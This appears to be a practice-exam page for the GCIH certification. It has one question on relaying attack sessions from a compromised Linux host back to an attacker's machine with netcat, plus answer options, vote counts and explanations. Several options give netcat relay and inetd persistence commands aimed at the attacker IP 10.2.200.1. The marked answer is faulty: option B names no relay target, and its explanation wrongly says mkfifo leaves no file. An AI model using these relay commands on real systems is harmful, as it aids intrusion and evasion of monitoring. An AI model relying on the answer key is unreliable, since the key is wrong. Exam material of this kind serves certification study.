nerdexam
GIAC

GCIH · Question #835

You have gained access to a Linux box. Which of the following methods would enable you to launch attacks against other systems and send the sessions back to your home PC (10.2.200.1) without…

The correct answer is B. mkfifo backpipe; nc -l -p 24680 backpipe. Using mkfifo with netcat creates a bidirectional relay via a named pipe in memory without touching any system configuration files, avoiding sysadmin detection.

Vulnerability Exploitation & Privilege Escalation

Question

You have gained access to a Linux box. Which of the following methods would enable you to launch attacks against other systems and send the sessions back to your home PC (10.2.200.1) without altering system config files on the Linux box that might alert the sysadmin?

Options

  • Aecho 123 stream tcp nowait nobody/usr/sbin/tcpd /usr/bin/nc 10.2.200.1 321 >> /etc/inetd.conf
  • Bmkfifo backpipe; nc -l -p 24680 backpipe
  • Cmkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 >backpipe
  • Decho "nc 10.2.200.1 123">>relay.bat; nc -l -p 123 | relay.bat

How the community answered

(52 responses)
  • A
    6% (3)
  • B
    63% (33)
  • C
    8% (4)
  • D
    23% (12)

Why each option

Using mkfifo with netcat creates a bidirectional relay via a named pipe in memory without touching any system configuration files, avoiding sysadmin detection.

Aecho 123 stream tcp nowait nobody/usr/sbin/tcpd /usr/bin/nc 10.2.200.1 321 >> /etc/inetd.conf

This command explicitly appends a line to /etc/inetd.conf, which is a monitored system configuration file and would likely trigger an alert for any sysadmin watching file integrity.

Bmkfifo backpipe; nc -l -p 24680 backpipeCorrect

The mkfifo command creates a named pipe (backpipe) as a temporary file descriptor rather than modifying any persistent system configuration file. Netcat then listens on port 24680 using the named pipe to support bidirectional data flow, enabling relay of attack sessions back to the home PC. Because no files like /etc/inetd.conf or system configs are altered, this method leaves no persistent traces that would alert a sysadmin.

Cmkfifo backpipe; nc -l -p 24680 | nc -l -p 54321 10.2.200.1 >backpipe

The netcat syntax attempts to pipe two listeners while relaying to the home PC, but the command structure is malformed and would not function correctly as a relay.

Decho "nc 10.2.200.1 123">>relay.bat; nc -l -p 123 | relay.bat

This option writes a relay.bat script file to the filesystem, introducing a new artifact that could be discovered through file monitoring or forensic analysis.

Concept tested: Netcat named pipe relay without config file modification

Topics

#netcat relay#pivoting#mkfifo#network tunneling

Community Discussion

No community discussion yet for this question.

Sign up to join the discussion
Full GCIH Practice